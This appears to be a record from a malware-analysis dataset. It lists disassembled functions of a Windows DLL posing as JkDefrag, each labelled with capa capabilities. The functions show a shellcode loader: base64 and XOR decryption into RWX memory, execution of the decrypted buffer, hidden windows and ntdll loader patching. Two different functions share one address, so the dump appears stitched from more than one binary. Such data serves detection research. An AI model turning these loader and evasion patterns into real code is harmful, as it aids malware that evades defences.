joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800017a0
Capabilities:
Decode data using base64 via winapi

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
mov ebp, r9d
mov rsi, r8
mov rbx, rdx
mov r14, rcx
test r8, r8
je 0x180001833
and qword [rax - 0x18], 0
xor r9d, r9d
and qword [rax - 0x20], 0
mov rcx, rsi
mov qword [rax - 0x28], rdx
mov edx, ebp
lea r8d, [r9 + 1]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x180001833
mov ecx, dword [rbx]
inc ecx
call fcn.180026bf8
mov qword [r14], rax
test rax, rax
je 0x180001833
mov ecx, dword [rbx]
mov rdi, rax
xor eax, eax
inc ecx
and qword [rsp + 0x30], rax
mov edx, ebp
and qword [rsp + 0x28], rax
rep stosb byte [rdi], al
mov r9, qword [r14]
lea r8d, [rax + 1]
mov rcx, rsi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x180001833
mov al, 1
jmp 0x180001835
xor al, al
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1800021d0
Capabilities:
Allocate or change rwx memory
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rsi, rcx
mov ebp, edx
lea rcx, str.8192
call fcn.18002f5fc
lea rcx, str.4096
mov ebx, eax
call fcn.18002f5fc
or ebx, eax
mov edx, ebp
mov r8d, ebx
mov r9d, 0x40
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor edi, edi
mov rbx, rax
test rax, rax
je 0x180002273
test ebp, ebp
je 0x180002270
mov r14, rbx
sub rsi, rbx
mov edx, edi
xor ecx, ecx
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, edi
mov eax, 0x6bca1af3
imul edi
inc edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x26
sub ecx, eax
movsxd rax, ecx
lea rcx, str.vGZlfkkg_U_xzU5_Q__8Sy12PwSDt0McRnq
mov al, byte [rax + rcx]
xor al, byte [rsi + r14]
mov byte [r14], al
inc r14
cmp edi, ebp
jb 0x180002231
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x180002420
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
and dword [rcx + 4], 0
mov rbx, rdx
mov rdi, rcx
call fcn.1800015bc
cmp eax, 1
je 0x1800024a5
mov eax, dword [rdi + 8]
mov rdx, rbx
mov r9, qword [rdi + 0x20]
mov r8d, dword [rsp + 0x60]
mov rcx, qword [rdi + 0x10]
mov dword [rsp + 0x20], eax
call fcn.180003b84
and qword [rsp + 0x28], 0
lea r8, [0x180001850]
and dword [rsp + 0x20], 0
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x1800024a5
mov rcx, qword [rdi + 0x10]
call fcn.180003724
mov rcx, qword [rdi + 0x18]
xor r8d, r8d
mov rdx, rdi
mov dword [rdi + 4], 2
mov rbx, rax
call sym.JkDefrag.dll_public:_void___cdecl_JKDefragLib::StopJkDefrag_int____ptr64__int____ptr64
mov rax, rbx
jmp 0x1800024a7
xor eax, eax
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x180003000
Capabilities:
Hide graphical window

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x9c0]
sub rsp, 0xac0
mov rax, qword [0x1800d61f8]
xor rax, rsp
mov qword [rbp + 0x9b0], rax
mov rdi, rcx
cmp edx, 1
jne 0x1800031e5
and dword [rsp + 0x30], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_ShowWindow]
test eax, eax
jne 0x180003050
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
lea rcx, str.sc.exe
call qword [sym.imp.ole32.dll_CoLoadLibrary]
test rax, rax
je 0x18000320e
lea rcx, [rbp - 0x80]
mov r8d, 0xa2c
lea rdx, [0x1800b9440]
call fcn.180015e10
and qword [rsp + 0x38], 0
lea rcx, [rsp + 0x40]
call fcn.1800024b4
mov rbx, rax
cmp qword [rax + 0x18], 0x10
jb 0x18000309b
mov rbx, qword [rax]
lea rcx, [rsp + 0x60]
call fcn.1800024b4
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x38]
mov r9d, dword [rax + 0x10]
call fcn.1800017a0
mov rdx, qword [rsp + 0x58]
test al, al
sete bl
cmp rdx, 0x10
jb 0x1800030fd
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800030f8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003212
call fcn.18001488c
and qword [rsp + 0x50], 0
mov rdx, qword [rsp + 0x78]
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
cmp rdx, 0x10
jb 0x18000314e
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003149
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003212
call fcn.18001488c
test bl, bl
jne 0x18000320e
xor edx, edx
lea rcx, [0x1800d7238]
lea r8d, [rdx + 0x20]
call fcn.1800164c0
mov edx, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
mov qword [0x1800d7238], rdi
mov dword [0x1800d7240], 1
call fcn.1800021d0
mov edx, 0xa2c
mov qword [0x1800d7248], rax
lea rcx, [rbp - 0x80]
call fcn.1800021d0
lea rcx, [0x1800d7238]
call rax
xor edx, edx
lea rcx, str.sc.exe
call qword [sym.imp.ole32.dll_CoLoadLibrary]
test rax, rax
jne 0x1800031e5
call fcn.18000230c
test rax, rax
je 0x1800031e5
lea r9, str.454dfgtr
mov dword [rsp + 0x20], 1
mov r8, rdi
mov rdx, rdi
mov rcx, rax
call fcn.180002420
call fcn.1800023f0
mov eax, 1
mov rcx, qword [rbp + 0x9b0]
xor rcx, rsp
call fcn.1800149a0
lea r11, [rsp + 0xac0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
xor eax, eax
jmp 0x1800031ea
call fcn.18002596c
int3
Function at 0x180003778
Capabilities:
Check mutex on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x40
mov rax, qword [0x1800d61f8]
xor rax, rsp
mov qword [rsp + 0x30], rax
xor r15d, r15d
mov rsi, r9
mov rbp, r8
mov rdi, rdx
mov rbx, rcx
cmp qword [rdx + 0x210], r15
je 0x1800037ed
lea rcx, [rsp + 0x20]
call fcn.18005423c
movzx eax, word [rsp + 0x28]
imul rcx, qword [rsp + 0x20], 0x3e8
add rcx, rax
mov qword [rbx + 0x92860], rcx
mov rax, qword [rdi + 0x218]
mov qword [rbx + 0x92870], rax
mov rax, qword [rdi + 0x210]
mov qword [rbx + 0x92868], rax
cmp qword [rdi + 0x198], r15
je 0x1800039cb
cmp qword [rbx + 0x27ad60], r15
je 0x1800039cb
cmp rbp, rsi
je 0x1800039cb
mov rcx, qword [rbx + 0x27ad58]
mov edx, 0x64
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea r8, str.JKDefrag
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rbx + 0x27ad58], rax
mov rcx, qword [rdi + 0x198]
cmp qword [rbx + 0x27ad40], rcx
jne 0x180003974
lea r14, [rbx + 0x27ad38]
mov rdx, qword [r14]
test rdx, rdx
je 0x180003974
mov rax, rsi
mov rcx, rbp
sub rax, rbp
inc rax
cmp rbp, rsi
ja 0x1800038d4
mov r15d, dword [rsp + 0x90]
cmp rax, 0x10
jb 0x1800038c5
lea r9, [rdx + rbp]
lea r8, [rdx + rsi]
cmp r9, r14
ja 0x180003892
cmp r8, r14
jae 0x1800038c5
and eax, 0xf
mov r8, rsi
sub r8, rax
add rcx, 0x10
mov rdi, rcx
cmp rcx, r8
jbe 0x18000389b
sub r8, rbp
mov dl, r15b
add r8, 0x10
mov rcx, r9
and r8, 0xfffffffffffffff0
call fcn.1800164c0
mov rcx, rdi
cmp rdi, rsi
ja 0x1800038d4
mov rax, qword [r14]
mov byte [rcx + rax], r15b
inc rcx
cmp rcx, rsi
jbe 0x1800038c5
movsxd rcx, dword [rbx + 0x928b0]
xor edx, edx
mov rax, qword [rbx + 0x27ad40]
xorps xmm0, xmm0
div rcx
mov rcx, rax
test rax, rax
js 0x1800038f9
cvtsi2ss xmm0, rax
jmp 0x18000390b
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2ss xmm0, rax
addss xmm0, xmm0
movss xmm1, dword [0x1800bb1bc]
xor eax, eax
comiss xmm0, xmm1
jb 0x180003930
subss xmm0, xmm1
comiss xmm0, xmm1
jae 0x180003930
movabs rcx, 0x8000000000000000
mov rax, rcx
xor edx, edx
mov rcx, rbx
cvttss2si r9, xmm0
add r9, rax
mov rax, rsi
div r9
xor edx, edx
mov r8, rax
mov rax, rbp
div r9
mov rdx, rax
call fcn.1800039ec
mov rcx, qword [rbx + 0x27ad58]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rdx, qword [rbx + 0x27ad60]
mov rcx, rbx
call fcn.180003de0
jmp 0x1800039cb
mov rax, qword [rbx + 0x27ad38]
test rax, rax
je 0x180003996
mov rcx, rax
call fcn.180053d58
mov qword [rbx + 0x27ad38], r15
mov rcx, qword [rdi + 0x198]
mov qword [rbx + 0x27ad40], rcx
call fcn.180026bf8
mov qword [rbx + 0x27ad38], rax
mov ecx, r15d
mov rdx, r15
mov rax, qword [rbx + 0x27ad38]
inc ecx
mov byte [rdx + rax], r15b
inc rdx
movsxd rax, ecx
cmp rax, qword [rbx + 0x27ad40]
jbe 0x1800039af
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1800149a0
mov rbx, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000fc08
Capabilities:
Delete file

Disassembly:
push rbx
sub rsp, 0x20
lea rbx, [rcx + 0x410]
mov r9, rdx
mov rcx, rbx
lea r8, [0x1800ba018]
mov edx, 0x104
call fcn.180003248
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.1800559b0
Function at 0x180030274
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x18003006b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x18003006b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x18003006b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x18003006b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x18003006b
cmp dword [rcx + 0x84], 0xe
jbe 0x18003006b
cmp dword [rcx + 0xf8], 0
je 0x18003006b
mov ecx, ebx
call fcn.18003017c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.18002fdd0
nop
cmp dword [rbp + 0x20], 0
je 0x1800300b9
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1800300c4
int3
xor r8d, r8d
xor edx, edx
jmp 0x18002fffc

Function at 0x1800559b0
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1800559a8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.18005b2c8
or eax, 0xffffffff
jmp 0x1800559aa
xor eax, eax
add rsp, 0x28
ret
jmp 0x180055988
Function at 0x180062100
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1800d8020]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x180062157
cmp word [rdx], r13w
jne 0x180062157
or byte [rax + rdi*8 + 0x38], cl
jmp 0x18006215c
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x180062281
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x1800622a2
lea r9, [rdx + 2]
cmp cx, r11w
je 0x180062195
mov rdx, r9
mov word [rbx], cx
jmp 0x1800621bc
cmp r9, r8
jae 0x1800621cc
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x180062176
jmp 0x180062281
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180062276
cmp dword [rsp + 0x80], esi
je 0x180062276
lea r8, [0x1800d8020]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x18006224e
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x18006221e
mov word [rbx], r13w
jmp 0x18006227e
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x18006222b
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x18006227e
cmp word [rsp + 0x70], r13w
jne 0x18006225b
cmp rbx, r14
je 0x180062218
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.1800753ac
cmp word [rsp + 0x70], r13w
je 0x180062281
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1800d8020]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x18006227b
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x180062281
Function at 0x180067a80
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x180067ab0
xor eax, eax
jmp 0x180067b73
mov rbp, rbx
cmp word [rax], si
je 0x180067ad5
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x180067abc
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x180067ab8
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.180067900
movsxd r14, eax
test eax, eax
jne 0x180067b13
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x180067aa9
mov rcx, r14
call fcn.18005b560
mov rdi, rax
test rax, rax
jne 0x180067b2c
xor ecx, ecx
call fcn.18005bbe0
jmp 0x180067b08
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.180067900
test eax, eax
jne 0x180067b5d
mov rcx, rdi
call fcn.18005bbe0
jmp 0x180067b67
xor ecx, ecx
call fcn.18005bbe0
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x180067b90
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x180067c17
mov rsi, rbx
cmp word [rax], bp
je 0x180067bd6
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x180067bc0
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x180067bbc
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.18005b560
mov rdi, rax
test rax, rax
je 0x180067c04
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.180015e10
mov rbp, rdi
xor ecx, ecx
call fcn.18005bbe0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x180070908
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x18007091e
mov al, 1
jmp 0x18007097e
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x18007092f
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x18007097c
mov ecx, dword [rcx + 0x18]
nop
call fcn.18007108c
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18007097c
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x18007097c
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x18007097c
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x18007097e
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x180078580
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1800753ac
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1800753ac
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1800786d0
cmp rax, 0xffffffffffffffff
je 0x1800786d0
xor edi, edi
test rbp, rbp
jle 0x18007867b
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1800645ec
mov rbx, rax
test rax, rax
jne 0x180078608
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x180078671
mov edx, 0x8000
mov ecx, r14d
call fcn.180078174
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1800642e4
cmp eax, 0xffffffff
je 0x180078651
cdqe
sub rbp, rax
test rbp, rbp
jg 0x180078618
mov edx, r15d
mov ecx, r14d
call fcn.180078174
jmp 0x180078671
cmp byte [rsi + 0x38], dil
je 0x180078668
cmp dword [rsi + 0x34], 5
jne 0x180078668
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x180078671
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.18005bbe0
jmp 0x1800786e4
jns 0x1800786e4
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1800753ac
cmp rax, 0xffffffffffffffff
jne 0x18007869c
cmp byte [rsi + 0x30], dil
je 0x1800786e4
mov edi, dword [rsi + 0x2c]
jmp 0x1800786e4
mov ecx, r14d
call fcn.18007108c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1800786e4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x1800786e4
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1800786dd
mov eax, dword [rsi + 0x2c]
jmp 0x1800786e2
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1800753ac
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x180001a50
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r10, rax
mov eax, 0x5a4d
cmp word [r10], ax
jne 0x180001afe
movsxd rcx, dword [r10 + 0x3c]
add rcx, r10
cmp dword [rcx], 0x4550
jne 0x180001afe
movzx ebx, word [rcx + 0x14]
xor edx, edx
movzx r11d, word [rcx + 6]
add rbx, rcx
test r11d, r11d
je 0x180001afe
lea rdi, str..text
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rax + rax*4]
xor eax, eax
lea r9, [rcx*8]
lea r8, [r9 + rbx]
nop word [rax + rax]
movzx ecx, byte [rdi + rax]
inc rax
cmp cl, byte [r8 + rax + 0x17]
jne 0x180001af7
cmp rax, 6
jne 0x180001ad0
mov eax, dword [r9 + rbx + 0x20]
mov ebx, dword [r9 + rbx + 0x24]
add rbx, r10
mov dword [rsp + 0x30], eax
jmp 0x180001b00
inc edx
cmp edx, r11d
jl 0x180001ab0
xor ebx, ebx
mov esi, dword [rsp + 0x30]
lea rdx, [0x1800080d4]
add rsi, rbx
mov r9d, 7
mov r8, rsi
mov rcx, rbx
call fcn.180001970
test rax, rax
je 0x180001b44
mov edx, dword [rax + 0x15]
mov dword [rdx + rax + 0x1a], 0
mov edx, 0xefff
mov rax, qword gs:[0x30]
and word [rax + 0x17ee], dx
mov rbp, qword gs:[0x60]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
test rax, rax
je 0x180001c3d
lea rdx, str.RtlLeaveCriticalSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp + 0x110]
call rax
lea rdx, str.LdrFastFailInLoaderCallout
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180001ba1
mov ecx, dword [rax + 0x18]
mov dword [rcx + rax + 0x1d], 2
jmp 0x180001bc9
mov r9d, 0xa
lea rdx, [0x1800080b8]
mov r8, rsi
mov rcx, rbx
call fcn.180001970
test rax, rax
je 0x180001bc9
mov ecx, dword [rax + 5]
mov dword [rcx + rax + 9], 2
lea rdx, str.LdrGetDllFullName
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x180001c3d
mov r9d, 7
lea r8, [rax + 0x80]
lea rdx, [0x1800080cc]
mov rcx, rax
call fcn.180001970
mov rcx, rax
test rax, rax
jne 0x180001c24
mov r9d, 7
lea r8, [rbx + 0x80]
lea rdx, [0x1800080c4]
mov rcx, rbx
call fcn.180001970
mov rcx, rax
test rcx, rcx
je 0x180001c3d
mov eax, dword [rcx + 3]
mov rcx, qword [rax + rcx + 7]
mov rax, qword [rcx + 0x98]
add qword [rax + 0x38], 2
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x180002420
Capabilities:
Hash data using fnv

Disassembly:
push rsi
push rdi
sub rsp, 0x28
movabs rax, 0xfffffffffffffff
mov rsi, rcx
bsr rcx, rax
mov edi, 1
mov eax, edi
shl rax, cl
cmp rdx, rax
jbe 0x180002455
lea rcx, str.invalid_hash_bucket_count
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_]
int3
lea rax, [rdx - 1]
mov qword [rsp + 0x50], rbx
mov rbx, qword [rsi + 8]
or rax, rdi
bsr rcx, rax
mov r8, rbx
mov qword [rsp + 0x20], r14
inc ecx
shl rdi, cl
lea rcx, [rsi + 0x18]
lea rdx, [rdi + rdi]
call fcn.180001ec0
lea rax, [rdi - 1]
mov qword [rsi + 0x38], rdi
mov qword [rsi + 0x30], rax
mov rax, qword [rsi + 8]
mov rax, qword [rax]
mov rcx, rax
cmp rax, rbx
je 0x180002574
mov qword [rsp + 0x58], rbp
movabs rdi, 0xcbf29ce484222325
movabs rbp, 0x100000001b3
nop dword [rax + rax]
movzx r9d, byte [rax + 0x10]
mov r11, qword [rsi + 0x30]
mov edx, r9d
mov rcx, qword [rcx]
xor rdx, rdi
imul rdx, rbp
and r11, rdx
shl r11, 4
add r11, qword [rsi + 0x18]
mov r8, qword [r11]
cmp r8, rbx
jne 0x1800024f2
mov qword [r11], rax
mov qword [r11 + 8], rax
jmp 0x180002563
mov rdx, qword [r11 + 8]
cmp r9b, byte [rdx + 0x10]
jne 0x18000252b
mov r10, qword [rdx]
cmp r10, rax
je 0x180002525
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [r11 + 8], rax
jmp 0x180002563
cmp r8, rdx
je 0x18000253f
mov rdx, qword [rdx + 8]
cmp r9b, byte [rdx + 0x10]
je 0x180002585
cmp r8, rdx
jne 0x180002530
mov r10, qword [rax + 8]
mov qword [r10], rcx
mov r9, qword [rcx + 8]
mov qword [r9], rdx
mov r8, qword [rdx + 8]
mov qword [r8], rax
mov qword [rdx + 8], r9
mov qword [rcx + 8], r10
mov qword [rax + 8], r8
mov qword [r11], rax
mov rax, rcx
cmp rcx, rbx
jne 0x1800024c0
mov rbp, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
mov r14, qword [rsp + 0x20]
add rsp, 0x28
pop rdi
pop rsi
ret
mov r10, qword [rdx]
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x180002563